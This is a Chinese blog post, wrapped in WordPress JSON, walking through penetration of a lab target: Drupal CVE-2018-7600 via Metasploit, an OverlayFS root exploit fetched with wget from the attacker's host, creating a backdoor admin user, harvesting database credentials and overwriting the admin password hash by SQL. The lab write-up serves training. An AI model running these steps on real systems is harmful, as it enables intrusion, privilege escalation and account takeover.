{"id":15730,"date":"2025-04-18T22:18:16","date_gmt":"2025-04-18T14:18:16","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/15730.html"},"modified":"2025-04-18T22:18:16","modified_gmt":"2025-04-18T14:18:16","slug":"comp-178-system-u%e9%9d%b6%e6%9c%ba%e6%b8%97%e9%80%8f%e6%9c%8d%e5%8a%a1%e5%99%a8","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/15730.html","title":{"rendered":"COMP-178-System-U\u9776\u673a\u6e17\u900f\u670d\u52a1\u5668"},"content":{"rendered":"

\u6e17\u900f\u6d4b\u8bd5\u8fc7\u7a0b<\/p>\n

  • \u60c5\u62a5\u6536\u96c6\u9636\u6bb5<\/li>\n

    \u5148\u786e\u5b9a\u653b\u51fb\u673aIP\u5730\u5740\u4e3a192.168.10.10\"\"<\/p>\n

    NMAP \u626b\u63cf\u7f51\u6bb5<\/p>\n

    \"\"<\/p>\n

    \u53d1\u73b0192.168.10.18\u548c\u4ee5\u4e0b\u7aef\u53e3<\/p>\n

    \u7aef\u53e3\u4ecb\u7ecd：<\/p>\n

    21 \u7aef\u53e3：FTP（\u6587\u4ef6\u4f20\u8f93\u534f\u8bae）\u7684\u9ed8\u8ba4\u7aef\u53e3，\u4e3b\u8981\u7528\u4e8e\u6587\u4ef6\u7684\u4e0a\u4f20\u548c\u4e0b\u8f7d，\u901a\u8fc7\u8be5\u7aef\u53e3，\u7528\u6237\u53ef\u5728\u7f51\u7edc\u4e0a\u8fdb\u884c\u6587\u4ef6\u7684\u4f20\u8f93\u64cd\u4f5c\u3002<\/p>\n

    22 \u7aef\u53e3：SSH（\u5b89\u5168\u5916\u58f3\u534f\u8bae）\u7684\u9ed8\u8ba4\u7aef\u53e3，\u7528\u4e8e\u5b89\u5168\u5730\u8fdc\u7a0b\u767b\u5f55\u670d\u52a1\u5668\u548c\u6267\u884c\u547d\u4ee4，\u80fd\u4e3a\u8fdc\u7a0b\u8fde\u63a5\u63d0\u4f9b\u52a0\u5bc6\u901a\u9053\u3002<\/p>\n

    80 \u7aef\u53e3：HTTP（\u8d85\u6587\u672c\u4f20\u8f93\u534f\u8bae）\u7684\u9ed8\u8ba4\u7aef\u53e3，\u662f\u7f51\u9875\u6d4f\u89c8\u7684\u6807\u51c6\u7aef\u53e3，\u7528\u6237\u901a\u8fc7\u8be5\u7aef\u53e3\u53ef\u4ee5\u8bbf\u95ee\u5404\u79cd\u7f51\u7ad9，\u83b7\u53d6\u7f51\u9875\u4fe1\u606f\u3002<\/p>\n

    445 \u7aef\u53e3：\u7528\u4e8e Microsoft \u7684 SMB（\u670d\u52a1\u5668\u6d88\u606f\u5757）\u534f\u8bae，\u4e3b\u8981\u7528\u4e8e\u5728\u5c40\u57df\u7f51\u4e2d\u5171\u4eab\u6587\u4ef6\u3001\u6253\u5370\u673a\u7b49\u8d44\u6e90，Windows \u7cfb\u7edf\u5e38\u5229\u7528\u6b64\u7aef\u53e3\u8fdb\u884c\u8d44\u6e90\u5171\u4eab\u548c\u8bbf\u95ee\u3002<\/p>\n

    631 \u7aef\u53e3：\u662f IPP（\u4e92\u8054\u7f51\u6253\u5370\u534f\u8bae）\u7684\u9ed8\u8ba4\u7aef\u53e3，\u4e3b\u8981\u7528\u4e8e\u7f51\u7edc\u6253\u5370\u670d\u52a1，\u5b9e\u73b0\u8ba1\u7b97\u673a\u4e0e\u6253\u5370\u673a\u4e4b\u95f4\u7684\u901a\u4fe1，\u65b9\u4fbf\u7528\u6237\u8fdb\u884c\u7f51\u7edc\u6253\u5370\u64cd\u4f5c\u3002<\/p>\n

    3000 \u7aef\u53e3：\u901a\u5e38\u4e0d\u662f\u7279\u5b9a\u7f51\u7edc\u534f\u8bae\u7684\u6807\u51c6\u7aef\u53e3，\u5e38\u88ab\u4e00\u4e9b\u5f00\u53d1\u4e2d\u7684 Web \u5e94\u7528\u7a0b\u5e8f\u6216 Node.js \u5e94\u7528\u7b49\u4f7f\u7528，\u4f5c\u4e3a\u81ea\u5b9a\u4e49\u7684\u670d\u52a1\u7aef\u53e3\u3002<\/p>\n

    8080 \u7aef\u53e3：\u4e00\u822c\u88ab\u7528\u4f5c HTTP \u670d\u52a1\u5668\u7684\u5907\u7528\u7aef\u53e3，\u5f53 80 \u7aef\u53e3\u88ab\u5360\u7528\u65f6，\u4e00\u4e9b Web \u670d\u52a1\u5668\u4f1a\u4f7f\u7528 8080 \u7aef\u53e3\u63d0\u4f9b\u670d\u52a1，\u4e5f\u5e38\u7528\u4e8e\u4ee3\u7406\u670d\u52a1\u5668\u3001Tomcat \u670d\u52a1\u5668\u7b49\u3002<\/p>\n

    8181 \u7aef\u53e3：\u540c\u6837\u4e0d\u662f\u6807\u51c6\u7684\u77e5\u540d\u7aef\u53e3，\u4e00\u4e9b\u7279\u5b9a\u7684\u5e94\u7528\u7a0b\u5e8f\u6216\u670d\u52a1\u4f1a\u6839\u636e\u81ea\u8eab\u9700\u6c42\u5c06\u5176\u4f5c\u4e3a\u76d1\u542c\u7aef\u53e3，\u5982\u67d0\u4e9b\u4e2d\u95f4\u4ef6\u3001\u4f01\u4e1a\u5e94\u7528\u7b49\u53ef\u80fd\u4f1a\u4f7f\u7528\u8be5\u7aef\u53e3\u63d0\u4f9b\u7279\u5b9a\u670d\u52a1\u3002<\/p>\n

    \u786e\u5b9a\u9776\u673aIP\u5730\u5740\u4e3a192.168.10.18<\/p>\n

    \"\"<\/p>\n

    \u786e\u8ba4\u670d\u52a1\u5668\u8fd0\u884c\u72b6\u6001，\u5f97\u77e5\u76f8\u5173\u8f6f\u4ef6\u6b63\u5e38\u8fd0\u884c，\u5e76\u4e14\u53d1\u73b0\u67092\u4e2acms\u548c\u4e00\u4e2a\u6570\u636e\u5e93\u7ba1\u7406\u8f6f\u4ef6<\/p>\n

    \u8bbf\u95eedrupadcms，\u53d1\u73b0\u767b\u5f55\u9875\u9762\u7528\u5f31\u53e3\u4ee4\u767b\u5f55\u53d1\u73b0\u6ca1\u7528，\u4e5f\u8bb8\u53ef\u4ee5\u7528\u66b4\u529b\u7834\u89e3\u3002<\/p>\n

    \"\"<\/p>\n

    \u8bbf\u95eechat\u7f51\u7ad9，\u53d1\u73b0\u662fget\u578b\u4f20\u53c2，\u4e5f\u8bb8\u53ef\u4ee5\u7528sql\u6ce8\u5165<\/p>\n

    \"\"<\/p>\n

    \n

    \u540e\u53f0\u626b\u63cf<\/p>\n

    \"\"<\/p>\n

    21\u548c22\u7aef\u53e3\u53ef\u4ee5\u7528\u4e5d\u5934\u86c7\u7206\u7834<\/p>\n

    \"\"<\/p>\n

    \"\"<\/p>\n

    \u7ecf\u8fc7\u7f51\u7edc\u4fe1\u606f\u6536\u96c6\u53d1\u73b0Drupal\u6709CVE-2018-7600 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e<\/p>\n

    \n

  • \u6f0f\u6d1e\u5229\u7528\u9636\u6bb5<\/li>\n

    \u9996\u5148\u5f31\u53e3\u4ee4\u767b\u5f55，\u626b\u7aef\u53e3\u3001\u626b\u540e\u53f0\u90fd\u6ca1\u4ec0\u4e48\u8f83\u5927\u7684\u6536\u83b7\u3002\u4e8e\u662f\u5c06\u76ee\u6807\u76ef\u5728\u4e86Drupal\u8fd9\u4e2acms\u6846\u67b6\u4e0a\u9762\u4e86，\u53d1\u73b0\u8fd9\u4e2acms\u6709\u4e00\u4e2a\u6ce8\u5165getshell\u7684\u6f0f\u6d1e（CVE-2018-7600），\u5e76\u4e14metasploit\u4e2d\u5df2\u6709\u653b\u51fb\u6a21\u5757，\u53ef\u4ee5\u76f4\u63a5\u5229\u7528\u3002<\/p>\n

    \u6253\u5f00msf，\u67e5\u627edrupal\u6b66\u5668\u5e93<\/p>\n

    msfconsole<\/p>\n

    search drupal<\/p>\n

    \"\"<\/p>\n

    \u4f7f\u7528\u76842016\u5e74\u7684\u6a21\u5757 use 20<\/p>\n

    \"\"<\/p>\n

    \u6210\u529f\u83b7\u53d6\u5230shell\u4f46\u662f\u662f\u4f4e\u6743\u9650（www\u7528\u6237）<\/p>\n

    Uname -a \u53d1\u73b0\u7cfb\u7edf\u5185\u6838\u4e3a\u200b3.13.0-24-generic\u200b（Ubuntu 14.04 LTS）<\/p>\n

    \u7ecf\u8fc7\u7f51\u7edc\u641c\u7d22\u53d1\u73b0\u53ef\u4ee5\u4f7f\u7528：OverlayFS \u6f0f\u6d1e (CVE-2015-1328)<\/p>\n

    CVE-2015-1328 \u6f0f\u6d1e\u7b80\u8ff0：<\/p>\n

    \u6f0f\u6d1e\u539f\u7406：<\/p>\n

    OverlayFS \u5728\u4ece\u5e95\u5c42\u76ee\u5f55（lowerdir）\u5411\u53ef\u5199\u5c42（upperdir）\u590d\u5236\u6587\u4ef6\u65f6，\u672a\u6b63\u786e\u9a8c\u8bc1\u7528\u6237\u6743\u9650，\u5bfc\u81f4\u666e\u901a\u7528\u6237\u53ef\u901a\u8fc7\u6302\u8f7d\u547d\u540d\u7a7a\u95f4\u4f2a\u9020\u6587\u4ef6\u5143\u6570\u636e，\u8986\u76d6\u654f\u611f\u7cfb\u7edf\u6587\u4ef6（\u5982 \/etc\/ld.so.preload），\u4ece\u800c\u83b7\u53d6 root \u6743\u9650\u3002<\/p>\n

    \u5f71\u54cd\u8303\u56f4<\/p>\n

    \u4e3b\u8981\u5f71\u54cd \u200bUbuntu 12.04\u300114.04\u300114.10\u300115.04 \u7248\u672c，\u8fd9\u4e9b\u7cfb\u7edf\u9ed8\u8ba4\u542f\u7528\u4e86 CONFIG_USER_NS \u548c FS_USERNS_MOUNT \u529f\u80fd，\u5141\u8bb8\u975e\u7279\u6743\u7528\u6237\u6302\u8f7d OverlayFS\u3002<\/p>\n

    \u6f0f\u6d1e\u610f\u4e49<\/p>\n

    \u66b4\u9732\u4e86 Linux \u5185\u6838\u4e2d\u529f\u80fd\u7ec4\u5408\u7684\u5b89\u5168\u98ce\u9669，\u5c24\u5176\u662f\u5bb9\u5668\u6280\u672f\u4f9d\u8d56\u7684\u6587\u4ef6\u7cfb\u7edf\u6743\u9650\u6a21\u578b\u7f3a\u9677，\u5f3a\u8c03\u4e86\u6743\u9650\u6700\u5c0f\u5316\u914d\u7f6e\u7684\u91cd\u8981\u6027\u3002<\/p>\n

    \u4e0b\u8f7d\u6f0f\u6d1e\u5229\u7528\u4ee3\u7801<\/p>\n

    \u5728\u653b\u51fb\u673a\u6267\u884c wget https:\/\/www.exploit-db.com\/download\/37292 -O \/tmp\/overlayfs.c，\u83b7\u53d6\u516c\u5f00\u7684 OverlayFS \u63d0\u6743\u4ee3\u7801 overlayfs.c，\u4fdd\u5b58\u81f3 \/tmp \u76ee\u5f55\u3002<\/p>\n

    \u6258\u7ba1\u6f0f\u6d1e\u6587\u4ef6<\/p>\n

    \u901a\u8fc7 sudo php -S 0.0.0.0:80 -t .\/ \u5728\u653b\u51fb\u673a\u542f\u52a8 PHP HTTP \u670d\u52a1，\u76d1\u542c 80 \u7aef\u53e3，\u6258\u7ba1\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6，\u786e\u4fdd\u76ee\u6807\u673a\u53ef\u8bbf\u95ee\u3002<\/p>\n

    \u76ee\u6807\u673a\u4e0b\u8f7d\u4ee3\u7801<\/p>\n

    \u5728\u76ee\u6807\u673a\u7684 \/tmp \u76ee\u5f55\u6267\u884c cd \/tmp && wget http:\/\/192.168.10.10\/overlayfs.c，\u4ece\u653b\u51fb\u673a\u62c9\u53d6\u6f0f\u6d1e\u5229\u7528\u6587\u4ef6，\u9700\u786e\u4fdd\u7f51\u7edc\u8fde\u901a\u3002<\/p>\n

    \u7f16\u8bd1\u4e0e\u63d0\u6743<\/p>\n

    \u76ee\u6807\u673a\u7f16\u8bd1\u4ee3\u7801\u5e76\u6267\u884c：<\/p>\n

    gcc overlayfs.c -o overlayfs && .\/overlayfs<\/p>\n

    \"\" \u00a0<\/p>\n

    \u521b\u5efaqwe\u7528\u6237\u5e76\u52a0\u5165\u7ba1\u7406\u7ec4<\/p>\n

    \"\"<\/p>\n

    \u4f7f\u7528ssh\u767b\u5f55qwe\u7528\u6237<\/p>\n

    \"\"<\/p>\n

    \u767b\u5f55\u6210\u529f<\/p>\n

    \u5728 Drupal \u7cfb\u7edf\u4e2d，\/sites\/default\/settings.php \u662f\u6570\u636e\u5e93\u8fde\u63a5\u914d\u7f6e\u6587\u4ef6\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u67e5\u770b\u6b64\u6587\u4ef6，\u786e\u8ba4\u662f\u5426\u80fd\u83b7\u53d6\u6709\u7528\u4fe1\u606f，\u6bd4\u5982\u6570\u636e\u5e93\u8d26\u53f7\u5bc6\u7801\u7b49\u654f\u611f\u5185\u5bb9<\/p>\n

    \"\"<\/p>\n

    \u53d1\u73b0\u6570\u636e\u5e93\u662froot\u7528\u6237（\u9ad8\u6743\u9650）<\/p>\n

    \u9996\u5148\u6211\u4eec\u901a\u8fc7\u654f\u611f\u6587\u4ef6\u5f97\u5230\u4e86\u6570\u636e\u5e93\u540d\u3001\u8d26\u53f7\u548c\u5bc6\u7801，\u80af\u5b9a\u662f\u8981\u8fdb\u5165\u6570\u636e\u5e93\u770b\u6709\u65e0\u6240\u9700\u4fe1\u606f\u7684\u3002\u5982\u7cfb\u7edf\u7ba1\u7406\u5458\u8d26\u6237\u4fe1\u606f<\/p>\n

    \u767b\u5f55\u6570\u636e\u5e93<\/p>\n

    msql -u root\u00a0-p<\/p>\n

    \"\"<\/p>\n

    \u5f53\u6536\u96c6\u4fe1\u606f\u65f6\u53d1\u73b0\u9776\u673a\u5f00\u542f\u4e86 3306 \u7aef\u53e3，\u5c3d\u7ba1\u5f53\u524d\u7528\u6237\u6743\u9650\u4e0d\u8db3，\u4f46\u5728\u83b7\u5f97\u76f8\u5e94\u63d0\u6743\u6216\u5177\u5907\u5408\u6cd5\u767b\u5f55\u51ed\u8bc1\u540e，\u6211\u4eec\u53ef\u5c1d\u8bd5\u5728\u672c\u5730\u673a\u5668\u4e0a，\u501f\u52a9 MySQL \u5ba2\u6237\u7aef\u5de5\u5177（\u4f8b\u5982 mysql \u547d\u4ee4\u884c\u5de5\u5177）\u8fdc\u7a0b\u767b\u5f55\u9776\u673a\u7684\u6570\u636e\u5e93\u3002\u4f7f\u7528 mysql \u547d\u4ee4\u884c\u5de5\u5177\u65f6，\u5176\u547d\u4ee4\u683c\u5f0f\u5982\u4e0b：<\/p>\n

    mysql -h \u9776\u673a IP \u5730\u5740 -P 3306 -u \u7528\u6237\u540d -p<\/p>\n

    \"\"<\/p>\n

    \u56e0\u4e3a\u6743\u9650\u95ee\u9898\u4e5f\u4e0d\u8ba9\u767b\u5f55<\/p>\n

    \u5c1d\u8bd5phpmyadmin\u53d1\u73b0\u767b\u5f55\u6210\u529f，\u5c1d\u8bd5\u627e\u5230\u7ba1\u7406\u5458\u5bc6\u7801，\u53d1\u73b0\u88ab\u52a0\u5bc6<\/p>\n

    \"\"<\/p>\n

    \u82e5\u9700\u4fee\u6539\u6216\u7ed5\u8fc7\u6b64\u5bc6\u7801，\u53ef\u91c7\u53d6\u4ee5\u4e0b\u65b9\u6cd5：<\/p>\n

    \u751f\u6210\u65b0\u54c8\u5e0c\u5e76\u66f4\u65b0\u6570\u636e\u5e93<\/p>\n

    \u901a\u8fc7 Drupal \u7684 password-hash.sh \u811a\u672c\u6216 PHP \u4ee3\u7801\u751f\u6210\u65b0\u5bc6\u7801\u7684\u5408\u6cd5\u54c8\u5e0c，\u4f8b\u5982：<\/p>\n

    php password-hash.sh \u65b0\u5bc6\u7801<\/p>\n

    \"\"<\/p>\n

    \u5c06\u751f\u6210\u7684\u54c8\u5e0c\u503c\u66f4\u65b0\u5230\u6570\u636e\u5e93<\/p>\n

    \u5c06\u751f\u6210\u7684\u54c8\u5e0c\u503c\u66f4\u65b0\u5230\u6570\u636e\u5e93：<\/p>\n

    UPDATE users SET pass='$S$CIQ0yL6dIOn4x4eDyP\/uZxyA1kafMwvU5oBGVxx\/7JNc5nzmW6Zh' WHERE name='admin';<\/p>\n

    \u7136\u540e\u767b\u5f55<\/p>\n

    \"\"<\/p>\n

    \u767b\u5f55\u6210\u529f<\/p>\n","protected":false},"excerpt":{"rendered":"

    \u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb798\u6b21\uff0c\u70b9\u8d5e9\u6b21\uff0c\u6536\u85cf7\u6b21\u3002OverlayFS \u5728\u4ece\u5e95\u5c42\u76ee\u5f55\uff08lowerdir\uff09\u5411\u53ef\u5199\u5c42\uff08upperdir\uff09\u590d\u5236\u6587\u4ef6\u65f6\uff0c\u672a\u6b63\u786e\u9a8c\u8bc1\u7528\u6237\u6743\u9650\uff0c\u5bfc\u81f4\u666e\u901a\u7528\u6237\u53ef\u901a\u8fc7\u6302\u8f7d\u547d\u540d\u7a7a\u95f4\u4f2a\u9020\u6587\u4ef6\u5143\u6570\u636e\uff0c\u8986\u76d6\u654f\u611f\u7cfb\u7edf\u6587\u4ef6\uff08\u5982 \/etc\/ld.so.preload\uff09\uff0c\u4ece\u800c\u83b7\u53d6 root \u6743\u9650\u300221 \u7aef\u53e3\uff1aFTP\uff08\u6587\u4ef6\u4f20\u8f93\u534f\u8bae\uff09\u7684\u9ed8\u8ba4\u7aef\u53e3\uff0c\u4e3b\u8981\u7528\u4e8e\u6587\u4ef6\u7684\u4e0a\u4f20\u548c\u4e0b\u8f7d\uff0c\u901a\u8fc7\u8be5\u7aef\u53e3\uff0c\u7528\u6237\u53ef\u5728\u7f51\u7edc\u4e0a\u8fdb\u884c\u6587\u4ef6\u7684\u4f20\u8f93\u64cd\u4f5c\u300280 \u7aef\u53e3\uff1aHTTP\uff08\u8d85\u6587\u672c\u4f20\u8f93\u534f\u8bae\uff09\u7684\u9ed8\u8ba4\u7aef\u53e3\uff0c\u662f\u7f51\u9875\u6d4f\u89c8\u7684\u6807\u51c6\u7aef\u53e3\uff0c\u7528\u6237\u901a\u8fc7\u8be5\u7aef\u53e3\u53ef\u4ee5\u8bbf\u95ee\u5404\u79cd\u7f51\u7ad9\uff0c\u83b7\u53d6\u7f51\u9875\u4fe1\u606f\u3002\u5982\u7cfb\u7edf\u7ba1\u7406\u5458\u8d26\u6237\u4fe1\u606f\u3002<\/p>\n","protected":false},"author":2,"featured_media":15711,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[1047,43,122,44,1048],"topic":[],"class_list":["post-15730","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-1047","tag-43","tag-122","tag-44","tag-1048"],"yoast_head":"\nCOMP-178-System-U\u9776\u673a\u6e17\u900f\u670d\u52a1\u5668 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/15730.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"COMP-178-System-U\u9776\u673a\u6e17\u900f\u670d\u52a1\u5668 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb798\u6b21\uff0c\u70b9\u8d5e9\u6b21\uff0c\u6536\u85cf7\u6b21\u3002OverlayFS \u5728\u4ece\u5e95\u5c42\u76ee\u5f55\uff08lowerdir\uff09\u5411\u53ef\u5199\u5c42\uff08upperdir\uff09\u590d\u5236\u6587\u4ef6\u65f6\uff0c\u672a\u6b63\u786e\u9a8c\u8bc1\u7528\u6237\u6743\u9650\uff0c\u5bfc\u81f4\u666e\u901a\u7528\u6237\u53ef\u901a\u8fc7\u6302\u8f7d\u547d\u540d\u7a7a\u95f4\u4f2a\u9020\u6587\u4ef6\u5143\u6570\u636e\uff0c\u8986\u76d6\u654f\u611f\u7cfb\u7edf\u6587\u4ef6\uff08\u5982 \/etc\/ld.so.preload\uff09\uff0c\u4ece\u800c\u83b7\u53d6 root \u6743\u9650\u300221 \u7aef\u53e3\uff1aFTP\uff08\u6587\u4ef6\u4f20\u8f93\u534f\u8bae\uff09\u7684\u9ed8\u8ba4\u7aef\u53e3\uff0c\u4e3b\u8981\u7528\u4e8e\u6587\u4ef6\u7684\u4e0a\u4f20\u548c\u4e0b\u8f7d\uff0c\u901a\u8fc7\u8be5\u7aef\u53e3\uff0c\u7528\u6237\u53ef\u5728\u7f51\u7edc\u4e0a\u8fdb\u884c\u6587\u4ef6\u7684\u4f20\u8f93\u64cd\u4f5c\u300280 \u7aef\u53e3\uff1aHTTP\uff08\u8d85\u6587\u672c\u4f20\u8f93\u534f\u8bae\uff09\u7684\u9ed8\u8ba4\u7aef\u53e3\uff0c\u662f\u7f51\u9875\u6d4f\u89c8\u7684\u6807\u51c6\u7aef\u53e3\uff0c\u7528\u6237\u901a\u8fc7\u8be5\u7aef\u53e3\u53ef\u4ee5\u8bbf\u95ee\u5404\u79cd\u7f51\u7ad9\uff0c\u83b7\u53d6\u7f51\u9875\u4fe1\u606f\u3002\u5982\u7cfb\u7edf\u7ba1\u7406\u5458\u8d26\u6237\u4fe1\u606f\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/15730.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-18T14:18:16+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418141813-68025f25eeef1.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/15730.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/15730.html\",\"name\":\"COMP-178-System-U\u9776\u673a\u6e17\u900f\u670d\u52a1\u5668 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2025-04-18T14:18:16+00:00\",\"dateModified\":\"2025-04-18T14:18:16+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/15730.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/15730.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/15730.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"COMP-178-System-U\u9776\u673a\u6e17\u900f\u670d\u52a1\u5668\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"COMP-178-System-U\u9776\u673a\u6e17\u900f\u670d\u52a1\u5668 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/15730.html","og_locale":"zh_CN","og_type":"article","og_title":"COMP-178-System-U\u9776\u673a\u6e17\u900f\u670d\u52a1\u5668 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb798\u6b21\uff0c\u70b9\u8d5e9\u6b21\uff0c\u6536\u85cf7\u6b21\u3002OverlayFS \u5728\u4ece\u5e95\u5c42\u76ee\u5f55\uff08lowerdir\uff09\u5411\u53ef\u5199\u5c42\uff08upperdir\uff09\u590d\u5236\u6587\u4ef6\u65f6\uff0c\u672a\u6b63\u786e\u9a8c\u8bc1\u7528\u6237\u6743\u9650\uff0c\u5bfc\u81f4\u666e\u901a\u7528\u6237\u53ef\u901a\u8fc7\u6302\u8f7d\u547d\u540d\u7a7a\u95f4\u4f2a\u9020\u6587\u4ef6\u5143\u6570\u636e\uff0c\u8986\u76d6\u654f\u611f\u7cfb\u7edf\u6587\u4ef6\uff08\u5982 \/etc\/ld.so.preload\uff09\uff0c\u4ece\u800c\u83b7\u53d6 root \u6743\u9650\u300221 \u7aef\u53e3\uff1aFTP\uff08\u6587\u4ef6\u4f20\u8f93\u534f\u8bae\uff09\u7684\u9ed8\u8ba4\u7aef\u53e3\uff0c\u4e3b\u8981\u7528\u4e8e\u6587\u4ef6\u7684\u4e0a\u4f20\u548c\u4e0b\u8f7d\uff0c\u901a\u8fc7\u8be5\u7aef\u53e3\uff0c\u7528\u6237\u53ef\u5728\u7f51\u7edc\u4e0a\u8fdb\u884c\u6587\u4ef6\u7684\u4f20\u8f93\u64cd\u4f5c\u300280 \u7aef\u53e3\uff1aHTTP\uff08\u8d85\u6587\u672c\u4f20\u8f93\u534f\u8bae\uff09\u7684\u9ed8\u8ba4\u7aef\u53e3\uff0c\u662f\u7f51\u9875\u6d4f\u89c8\u7684\u6807\u51c6\u7aef\u53e3\uff0c\u7528\u6237\u901a\u8fc7\u8be5\u7aef\u53e3\u53ef\u4ee5\u8bbf\u95ee\u5404\u79cd\u7f51\u7ad9\uff0c\u83b7\u53d6\u7f51\u9875\u4fe1\u606f\u3002\u5982\u7cfb\u7edf\u7ba1\u7406\u5458\u8d26\u6237\u4fe1\u606f\u3002","og_url":"https:\/\/www.wsisp.com\/helps\/15730.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2025-04-18T14:18:16+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418141813-68025f25eeef1.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"2 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/15730.html","url":"https:\/\/www.wsisp.com\/helps\/15730.html","name":"COMP-178-System-U\u9776\u673a\u6e17\u900f\u670d\u52a1\u5668 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2025-04-18T14:18:16+00:00","dateModified":"2025-04-18T14:18:16+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/15730.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/15730.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/15730.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"COMP-178-System-U\u9776\u673a\u6e17\u900f\u670d\u52a1\u5668"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\